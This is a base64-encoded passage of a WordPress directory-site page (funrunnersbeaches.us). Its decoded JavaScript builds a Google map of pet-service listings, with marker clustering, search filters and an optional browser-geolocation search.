WN0ZWQgYScpLmh0bWwoalF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2Lm9wdGlvbicpLmZpbmQoJ2ltZ1thbHQ9IicrR1RyYW5zbGF0ZUdldEN1cnJlbnRMYW5nKCkrJyJdJykucGFyZW50KCkuaHRtbCgpKTt9KTsKPC9zY3JpcHQ+CjwvZGl2PjwvbGk+PC91bD48L25hdj4KCQk8L25hdj4KCgk8L2Rpdj4KPC9oZWFkZXI+CgkJCTxkaXYgaWQ9ImRpcmVjdG9yeS1tYWluLWJhciIgZGF0YS1jYXRlZ29yeT0iMCIgZGF0YS1sb2NhdGlvbj0iMCIgZGF0YS1zZWFyY2g9IiIgZGF0YS1nZW9sb2NhdGlvbj0iZmFsc2UiPgoJCQk8L2Rpdj4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KdmFyIG1hcERpdiwKCW1hcCwKCWluZm9ib3g7CmpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oJCkgewoKCW1hcERpdiA9ICQoIiNkaXJlY3RvcnktbWFpbi1iYXIiKTsKCWNsdXN0ZXJFbmFibGVkID0gdHJ1ZTsKCW1hcERpdi5oZWlnaHQoNTAwKS5nbWFwMyh7CgkJbWFwOiB7CgkJCW9wdGlvbnM6IHsKCQkJCSJkcmFnZ2FibGUiOiB0cnVlCgkJCQksIm1hcFR5cGVDb250cm9sIjogdHJ1ZQoJCQkJLCJtYXBUeXBlSWQiOiBnb29nbGUubWFwcy5NYXBUeXBlSWQuUk9BRE1BUAoJCQkJLCJzY3JvbGx3aGVlbCI6IGZhbHNlCgkJCQksInBhbkNvbnRyb2wiOiB0cnVlCgkJCQksInJvdGF0ZUNvbnRyb2wiOiBmYWxzZQoJCQkJLCJzY2FsZUNvbnRyb2wiOiB0cnVlCgkJCQksInN0cmVldFZpZXdDb250cm9sIjogdHJ1ZQoJCQkJLCJ6b29tQ29udHJvbCI6IHRydWUKCQkJfQoJCQksZXZlbnRzOnsKCQkJCXpvb21fY2hhbmdlZDogZnVuY3Rpb24obWFwKXsKCQkJCQljbHVzdGVyZXIgPSBtYXBEaXYuZ21hcDMoeyBnZXQ6IHsgbmFtZTogImNsdXN0ZXJlciIgfX0pOwoJCQkJCWlmIChtYXAuZ2V0Wm9vbSgpID49IDE5KSB7CgkJCQkJCWlmIChjbHVzdGVyRW5hYmxlZCkgewoJCQkJCQkJY2x1c3RlcmVyLmRpc2FibGUoKTsKCQkJCQkJCWNsdXN0ZXJFbmFibGVkID0gZmFsc2U7CgkJCQkJCX0KCQkJCQl9IGVsc2UgewoJCQkJCQlpZiAoIWNsdXN0ZXJFbmFibGVkKSB7CgkJCQkJCQljbHVzdGVyZXIuZW5hYmxlKCk7CgkJCQkJCQljbHVzdGVyRW5hYmxlZCA9IHRydWU7CgkJCQkJCX0KCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJLG1hcmtlcjogewoJCQl2YWx1ZXM6IFsKCQkJCQl7CgkJCQkJCWxhdExuZzogWzQxLjg5MDg1OTEsLTg3LjYzNTg0NDAwMDAwMDAyXSwKCQkJCQkJb3B0aW9uczogewoJCQkJCQkJaWNvbjogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9tYXJrZXJfc3F1YXJlZF95ZWxsb3cucG5nIiwKCQkJCQkJCXNoYWRvdzogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJCQl9LAoJCQkJCQlkYXRhOiAJJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPicrCgkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCB3aXRoLWltYWdlIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2RlZmF1bHQtcG9zdC1pbWFnZS5qcGciIGFsdD0iIj4nKwoJCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InRpdGxlIj4nKyJQVVBTIFBldCBDbHViIisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0icmF0aW5nIj4nKwoJCQkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InN0YXIgYWN0aXZlIj48L2Rpdj4nKwoJCQkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InN0YXIgYWN0aXZlIj48L2Rpdj4nKwoJCQkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InN0YXIiPjwvZGl2PicrCgkJCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0ic3RhciI+PC9kaXY+JysKCQkJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJzdGFyIj48L2Rpdj4nKwoJCQkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJhZGRyZXNzIj4nKyIzMTYgVyBJbGxpbm9pcyBTdDxiciBcLz5cbkNoaWNhZ28sIElMIDYwNjU0IisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9kaXItaXRlbT1wdXBzLXBldC1jbHViIiBjbGFzcz0ibW9yZS1idXR0b24iPicgKyAiVklFVyBNT1JFIiArICc8L2E+JysKCQkJCQkJCQkJCQknPC9kaXY+PGRpdiBjbGFzcz0iYXJyb3ciPjwvZGl2PicrCgkJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJJzwvZGl2PicKCQkJCQl9LAoJCQkJCXsKCQkJCQkJbGF0TG5nOiBbMzcuNzkxMjg1NTk5OTk5OTksLTEyMi4zOTM3MDA3MDAwMDAwMV0sCgkJCQkJCW9wdGlvbnM6IHsKCQkJCQkJCWljb246ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vY29tcGFueS5wbmciLAoJCQkJCQkJc2hhZG93OiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2ljb24tc2hhZG93LnBuZyIsCgkJCQkJCX0sCgkJCQkJCWRhdGE6IAknPGRpdiBjbGFzcz0ibWFya2VyLWhvbGRlciI+JysKCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcmtlci1jb250ZW50IHdpdGgtaW1hZ2UiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZGVmYXVsdC1wb3N0LWltYWdlLmpwZyIgYWx0PSIiPicrCgkJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFwLWl0ZW0taW5mbyI+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0idGl0bGUiPicrImRvZyB3YWxrZXIiKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJhZGRyZXNzIj4nKyIxNTUgbWFpbiBzdHJlZXQgIHNhbiBmcmFuc2ljbyIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/ZGlyLWl0ZW09ZG9nLXdhbGtlci0yIiBjbGFzcz0ibW9yZS1idXR0b24iPicgKyAiVklFVyBNT1JFIiArICc8L2E+JysKCQkJCQkJCQkJCQknPC9kaXY+PGRpdiBjbGFzcz0iYXJyb3ciPjwvZGl2PicrCgkJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJJzwvZGl2PicKCQkJCQl9LAoJCQkJCXsKCQkJCQkJbGF0TG5nOiBbNDIuMDk0NjUyLC03Mi43NDUzOTM5OTk5OTk5OF0sCgkJCQkJCW9wdGlvbnM6IHsKCQkJCQkJCWljb246ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vY29tcGFueS5wbmciLAoJCQkJCQkJc2hhZG93OiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2ljb24tc2hhZG93LnBuZyIsCgkJCQkJCX0sCgkJCQkJCWRhdGE6IAknPGRpdiBjbGFzcz0ibWFya2VyLWhvbGRlciI+JysKCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcmtlci1jb250ZW50IHdpdGgtaW1hZ2UiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZGVmYXVsdC1wb3N0LWltYWdlLmpwZyIgYWx0PSIiPicrCgkJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFwLWl0ZW0taW5mbyI+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0idGl0bGUiPicrIkRvZyBXYWxrZXIiKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJhZGRyZXNzIj4nKyIxMDM3IHNoYWtlciByb2FkPGJyIFwvPlxud2VzdGZpZWxkIisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9kaXItaXRlbT1kb2ctd2Fsa2VyIiBjbGFzcz0ibW9yZS1idXR0b24iPicgKyAiVklFVyBNT1JFIiArICc8L2E+JysKCQkJCQkJCQkJCQknPC9kaXY+PGRpdiBjbGFzcz0iYXJyb3ciPjwvZGl2PicrCgkJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJJzwvZGl2PicKCQkJCQl9CgkJCV0sCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KCQkJfSwKCQkJZXZlbnRzOiB7CgkJCQljbGljazogZnVuY3Rpb24obWFya2VyLCBldmVudCwgY29udGV4dCl7CgkJCQkJdmFyIG1hcCA9IGpRdWVyeSh0aGlzKS5nbWFwMygiZ2V0Iik7CgkJCQkJalF1ZXJ5KCIjZGlyZWN0b3J5LW1haW4tYmFyIikuZmluZCgnLmluZm9Cb3gnKS5yZW1vdmUoKTsKCQkJCQlpZihjb250ZXh0LmRhdGEgIT0gImRpc2FibGVkIil7CgoJCQkJCQl2YXIgaW5mb0JveE9wdGlvbnMgPSB7CgkJCQkJCQljb250ZW50OiBjb250ZXh0LmRhdGEsCgkJCQkJCQlkaXNhYmxlQXV0b1BhbjogZmFsc2UsCgkJCQkJCQltYXhXaWR0aDogMTUwLAoJCQkJCQkJcGl4ZWxPZmZzZXQ6IG5ldyBnb29nbGUubWFwcy5TaXplKC01MCwgLTY1KSwKCQkJCQkJCWJveFN0eWxlOiB7CgkJCQkJCQkJd2lkdGg6ICIyOTBweCIKCQkJCQkJCX0sCgkJCQkJCQljbG9zZUJveE1hcmdpbjogIjRweCIsCgkJCQkJCQljbG9zZUJveFVSTDogImh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9wb3BfdXAtY2xvc2UucG5nIiwKCQkJCQkJCS8vIGVuYWJsZUV2ZW50UHJvcGFnYXRpb246IHRydWUsCgkJCQkJCQlpbmZvQm94Q2xlYXJhbmNlOiBuZXcgZ29vZ2xlLm1hcHMuU2l6ZSgxLCAxKSwKCQkJCQkJCXBvc2l0aW9uOiBtYXJrZXIucG9zaXRpb24KCQkJCQkJfTsKCQkJCQkJaW5mb2JveCA9IG5ldyBJbmZvQm94KGluZm9Cb3hPcHRpb25zKTsKCgkJCQkJCWluZm9ib3gub3BlbihtYXAsbWFya2VyKTsKCQkJCQl9CgkJCQkJbWFwLnBhblRvKG1hcmtlci5nZXRQb3NpdGlvbigpKTsKCgkJCQkJLy8gaWYgbWFwIGlzIHNtYWxsCgkJCQkJdmFyIGlXaWR0aCA9IDI2MDsKCQkJCQl2YXIgaUhlaWdodCA9IDMwMDsKCQkJCQlpZigobWFwRGl2LndpZHRoKCkgLyAyKSA8IGlXaWR0aCApewoJCQkJCQl2YXIgb2Zmc2V0WCA9IGlXaWR0aCAtIChtYXBEaXYud2lkdGgoKSAvIDIpOwoJCQkJCQltYXAucGFuQnkob2Zmc2V0WCwwKTsKCQkJCQl9CgkJCQkJaWYoKG1hcERpdi5oZWlnaHQoKSAvIDIpIDwgaUhlaWdodCApewoJCQkJCQl2YXIgb2Zmc2V0WSA9IC0oaUhlaWdodCAtIChtYXBEaXYuaGVpZ2h0KCkgLyAyKSk7CgkJCQkJCW1hcC5wYW5CeSgwLG9mZnNldFkpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCQkgCX0sImF1dG9maXQiKTsKCgltYXAgPSBtYXBEaXYuZ21hcDMoImdldCIpOwoJaW5mb2JveCA9IG5ldyBJbmZvQm94KHsKCQlwaXhlbE9mZnNldDogbmV3IGdvb2dsZS5tYXBzLlNpemUoLTUwLCAtNjUpLAoJCWNsb3NlQm94VVJMOiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL3BvcF91cC1jbG9zZS5wbmciLAoJCWJveFN0eWxlOiB7CgkJCXdpZHRoOiAiMjkwcHgiCgkJfSwKCQljbG9zZUJveE1hcmdpbjogIjRweCIsCgkJZW5hYmxlRXZlbnRQcm9wYWdhdGlvbjogZmFsc2UKCX0pOwoKCWlmIChNb2Rlcm5penIudG91Y2gpewoJCW1hcC5zZXRPcHRpb25zKHsgZHJhZ2dhYmxlIDogZmFsc2UgfSk7CgkJdmFyIGRyYWdnYWJsZUNsYXNzID0gJ2luYWN0aXZlJzsKCQl2YXIgZHJhZ2dhYmxlVGl0bGUgPSAiQWN0aXZhdGUgbWFwIjsKCQl2YXIgZHJhZ2dhYmxlQnV0dG9uID0gJCgnPGRpdiBjbGFzcz0iZHJhZ2dhYmxlLXRvZ2dsZS1idXR0b24gJytkcmFnZ2FibGVDbGFzcysnIj4nK2RyYWdnYWJsZVRpdGxlKyc8L2Rpdj4nKS5hcHBlbmRUbyhtYXBEaXYpOwoJCWRyYWdnYWJsZUJ1dHRvbi5jbGljayhmdW5jdGlvbiAoKSB7CgkJCWlmKCQodGhpcykuaGFzQ2xhc3MoJ2FjdGl2ZScpKXsKCQkJCSQodGhpcykucmVtb3ZlQ2xhc3MoJ2FjdGl2ZScpLmFkZENsYXNzKCdpbmFjdGl2ZScpLnRleHQoIkFjdGl2YXRlIG1hcCIpOwoJCQkJbWFwLnNldE9wdGlvbnMoeyBkcmFnZ2FibGUgOiBmYWxzZSB9KTsKCQkJfSBlbHNlIHsKCQkJCSQodGhpcykucmVtb3ZlQ2xhc3MoJ2luYWN0aXZlJykuYWRkQ2xhc3MoJ2FjdGl2ZScpLnRleHQoIkRlYWN0aXZhdGUgbWFwIik7CgkJCQltYXAuc2V0T3B0aW9ucyh7IGRyYWdnYWJsZSA6IHRydWUgfSk7CgkJCX0KCQl9KTsKCX0KCi8vIGxvYWRpbmcgc3Bpbm5lcgp2YXIgb3B0cyA9IHsKCWxpbmVzOiAxMywgLy8gVGhlIG51bWJlciBvZiBsaW5lcyB0byBkcmF3CglsZW5ndGg6IDksIC8vIFRoZSBsZW5ndGggb2YgZWFjaCBsaW5lCgl3aWR0aDogOSwgLy8gVGhlIGxpbmUgdGhpY2tuZXNzCglyYWRpdXM6IDI3LCAvLyBUaGUgcmFkaXVzIG9mIHRoZSBpbm5lciBjaXJjbGUKCWNvcm5lcnM6IDEsIC8vIENvcm5lciByb3VuZG5lc3MgKDAuLjEpCglyb3RhdGU6IDAsIC8vIFRoZSByb3RhdGlvbiBvZmZzZXQKCWNvbG9yOiAnI0ZGRicsIC8vICNyZ2Igb3IgI3JyZ2diYgoJc3BlZWQ6IDEuOCwgLy8gUm91bmRzIHBlciBzZWNvbmQKCXRyYWlsOiA4MSwgLy8gQWZ0ZXJnbG93IHBlcmNlbnRhZ2UKCXNoYWRvdzogdHJ1ZSwgLy8gV2hldGhlciB0byByZW5kZXIgYSBzaGFkb3cKCWh3YWNjZWw6IGZhbHNlLCAvLyBXaGV0aGVyIHRvIHVzZSBoYXJkd2FyZSBhY2NlbGVyYXRpb24KCWNsYXNzTmFtZTogJ3NwaW5uZXInLCAvLyBUaGUgQ1NTIGNsYXNzIHRvIGFzc2lnbiB0byB0aGUgc3Bpbm5lcgoJekluZGV4OiAyZTksIC8vIFRoZSB6LWluZGV4IChkZWZhdWx0cyB0byAyMDAwMDAwMDAwKQoJdG9wOiAnYXV0bycsIC8vIFRvcCBwb3NpdGlvbiByZWxhdGl2ZSB0byBwYXJlbnQgaW4gcHgKCWxlZnQ6ICdhdXRvJyAvLyBMZWZ0IHBvc2l0aW9uIHJlbGF0aXZlIHRvIHBhcmVudCBpbiBweAp9OwoKdmFyIHRhcmdldCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkaXJlY3RvcnktbWFpbi1iYXInKSwKCXNwaW5uZXIgPSBuZXcgU3Bpbm5lcihvcHRzKS5zcGluKHRhcmdldCksCglzcGlubmVyRGl2ID0gbWFwRGl2LmZpbmQoJy5zcGlubmVyJyk7Cgp2YXIgc2VhcmNoID0gJCgnI2RpcmVjdG9yeS1zZWFyY2gnKSwKCXNlYXJjaElucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC10ZXh0JyksCglzZWFyY2hTdWJtaXQgPSAkKCcjZGlyLXNlYXJjaHN1Ym1pdCcpLAoJY2F0ZWdvcnlJbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnknKSwKCWxvY2F0aW9uSW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uJyksCglnZW9JbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJyksCglnZW9JbnB1dFJhZGl1cyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvLXJhZGl1cycpLAoJZ2VvSW5wdXRMYXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlby1sYXQnKSwKCWdlb0lucHV0TG5nID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8tbG5nJyk7CgpmdW5jdGlvbiBzaG93TG9hZGluZyhkaXNhYmxlU3VibWl0KSB7Cgl2YXIgdG9wUG9zaXRpb24gPSBtYXBEaXYuaGVpZ2h0KCkgLyAyOwoJc3Bpbm5lckRpdi5jc3MoJ3RvcCcsdG9wUG9zaXRpb24rJ3B4JykuZmFkZUluKCk7CglpZiAoZGlzYWJsZVN1Ym1pdCkgewoJCXNlYXJjaFN1Ym1pdC5hdHRyKCdkaXNhYmxlZCcsIHRydWUpOwoJfQp9CgpmdW5jdGlvbiBoaWRlTG9hZGluZygpIHsKCXNwaW5uZXJEaXYuZmFkZU91dCgpOwoJc2VhcmNoU3VibWl0LmF0dHIoJ2Rpc2FibGVkJywgZmFsc2UpOwp9CgovLyBzZXQgaW50ZXJhY3RpdmUgc2VhcmNoCmlmKHNlYXJjaC5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKXsKCXNlYXJjaElucHV0LnR5cGVXYXRjaCh7CgkJY2FsbGJhY2s6IGZ1bmN0aW9uKCkgewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9LAoJCXdhaXQ6IDUwMCwKCQloaWdobGlnaHQ6IGZhbHNlLAoJCWNhcHR1cmVMZW5ndGg6IDAKCX0pOwoKCWNhdGVnb3J5SW5wdXQub24oImF1dG9jb21wbGV0ZXNlbGVjdCIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSx1aS5pdGVtLnZhbHVlLGZhbHNlKTsKCX0pOwoJbG9jYXRpb25JbnB1dC5vbigiYXV0b2NvbXBsZXRlc2VsZWN0IiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlLGZhbHNlLHVpLml0ZW0udmFsdWUpOwoJfSk7CgljYXRlZ29yeUlucHV0Lm9uKCJhdXRvY29tcGxldGVjbG9zZSIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJaWYoJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCcpLnZhbCgpID09ICcwJyl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCX0pOwoJbG9jYXRpb25JbnB1dC5vbigiYXV0b2NvbXBsZXRlY2xvc2UiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWlmKCQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQnKS52YWwoKSA9PSAnMCcpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9Cgl9KTsKfQoKJCgnI2Rpci1zZWFyY2hpbnB1dC1zZXR0aW5ncyAuaWNvbicpLmNsaWNrKGZ1bmN0aW9uKCkgewoJJCgnI2Rpci1zZWFyY2gtYWR2YW5jZWQnKS50b2dnbGUoKTsKfSk7CgokKCcjZGlyLXNlYXJjaC1hZHZhbmNlZC1jbG9zZScpLmNsaWNrKGZ1bmN0aW9uKCkgewoJJCgnI2Rpci1zZWFyY2gtYWR2YW5jZWQnKS5oaWRlKCk7Cn0pOwoKJCgnI2Rpci1zZWFyY2gtYWR2YW5jZWQgLnZhbHVlLXNsaWRlcicpLnNsaWRlcih7Cgl2YWx1ZTogZ2VvSW5wdXRSYWRpdXMudmFsKCksCgltaW46IDEsCgltYXg6IDMwMCwKCXN0ZXA6IDEsCgljaGFuZ2U6IGZ1bmN0aW9uKGV2ZW50LCB1aSkgewoJCWlmKHNlYXJjaC5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnICYmIGdlb0lucHV0LmlzKCc6Y2hlY2tlZCcpKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoJfSwKCXNsaWRlOiBmdW5jdGlvbihldmVudCwgdWkpIHsKCQlnZW9JbnB1dFJhZGl1cy52YWwodWkudmFsdWUpOwoJfQp9KTsKCi8vIEdlb2xvY2F0aW9uCgpnZW9JbnB1dC5GYW5jeUNoZWNrYm94KCk7CgpmdW5jdGlvbiBlbmFibGVHZW8oKSB7CglnZW9JbnB1dC5hdHRyKCdjaGVja2VkJywgdHJ1ZSk7CglnZW9JbnB1dC5uZXh0KCkucmVtb3ZlQ2xhc3MoJ29mZicpLmFkZENsYXNzKCdvbicpOwp9CgpmdW5jdGlvbiBkaXNhYmxlR2VvKCkgewoJZ2VvSW5wdXQuYXR0cignY2hlY2tlZCcsIGZhbHNlKTsKCWdlb0lucHV0Lm5leHQoKS5yZW1vdmVDbGFzcygnb24nKS5hZGRDbGFzcygnb2ZmJyk7Cn0KCglpZihnZW9JbnB1dC5pcygiOmNoZWNrZWQiKSkgewoKCQkvLyBlbmFibGUgYWZ0ZXIgdXNlciBhbGxvdyBnZW9sb2NhdGlvbgoJCWRpc2FibGVHZW8oKTsKCQlzaG93TG9hZGluZyh0cnVlKTsKCgkJaWYgKG5hdmlnYXRvci5nZW9sb2NhdGlvbikgewoJCQluYXZpZ2F0b3IuZ2VvbG9jYXRpb24uZ2V0Q3VycmVudFBvc2l0aW9uKGZ1bmN0aW9uKHBvc2l0aW9uKSB7CgoJCQkJZ2VvSW5wdXRMYXQudmFsKHBvc2l0aW9uLmNvb3Jkcy5sYXRpdHVkZSk7CgkJCQlnZW9JbnB1dExuZy52YWwocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CgoJCQkJZW5hYmxlR2VvKCk7CgoJCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgoJCQl9LCBmdW5jdGlvbihlcnJvcil7CgkJCQlkaXNhYmxlR2VvKCk7CgkJCQloaWRlTG9hZGluZygpOwoJCQl9KTsKCQl9IGVsc2UgewoJCQlkaXNhYmxlR2VvKCk7CgkJCWhpZGVMb2FkaW5nKCk7CgkJfQoKCX0KCmdlb0lucHV0Lm9uKCJjaGFuZ2UiLGZ1bmN0aW9uKGV2ZW50KSB7CgoJaWYoZ2VvSW5wdXQuaXMoIjpjaGVja2VkIikpIHsKCgkJLy8gZW5hYmxlIGFmdGVyIHVzZXIgYWxsb3cgZ2VvbG9jYXRpb24KCQlkaXNhYmxlR2VvKCk7CgkJc2hvd0xvYWRpbmcodHJ1ZSk7CgoJCWlmIChuYXZpZ2F0b3IuZ2VvbG9jYXRpb24pIHsKCQkJbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihmdW5jdGlvbihwb3NpdGlvbikgewoKCQkJCWdlb0lucHV0TGF0LnZhbChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpOwoJCQkJZ2VvSW5wdXRMbmcudmFsKHBvc2l0aW9uLmNvb3Jkcy5sb25naXR1ZGUpOwoKCQkJCWVuYWJsZUdlbygpOwoKCQkJCWlmKHNlYXJjaC5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKXsKCQkJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQkJCX0gZWxzZSB7CgkJCQkJaGlkZUxvYWRpbmcoKTsKCQkJCX0KCgkJCX0sIGZ1bmN0aW9uKGVycm9yKXsKCQkJCWRpc2FibGVHZW8oKTsKCQkJCWhpZGVMb2FkaW5nKCk7CgkJCX0pOwoJCX0gZWxzZSB7CgkJCWRpc2FibGVHZW8oKTsKCQkJaGlkZUxvYWRpbmcoKTsKCQl9CgoJfSBlbHNlIHsKCgkJaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9CgoJfQoKfSk7CgpmdW5jdGlvbiBhamF4R2V0TWFya2VycyhhamF4LGdlb2xvYyxyZXdyaXRlQ2F0ZWdvcnkscmV3cml0ZUxvY2F0aW9uLHJlc2V0KSB7CgoJc2hvd0xvYWRpbmcoKTsKCglyYWRpdXMgPSBuZXcgQXJyYXkoKTsKCgl2YXIgY2F0ZWdvcnkgPSAwOwoJdmFyIGxvY2F0aW9uID0gMDsKCXZhciBzZWFyY2ggPSAnJzsKCXZhciBsb2NhbGUgPSAnZW4nOwoKCWlmKGFqYXgpewoJCWlmKHJld3JpdGVDYXRlZ29yeSl7CgkJCWNhdGVnb3J5ID0gcmV3cml0ZUNhdGVnb3J5OwoJCX0gZWxzZSB7CgkJCWNhdGVnb3J5ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCcpL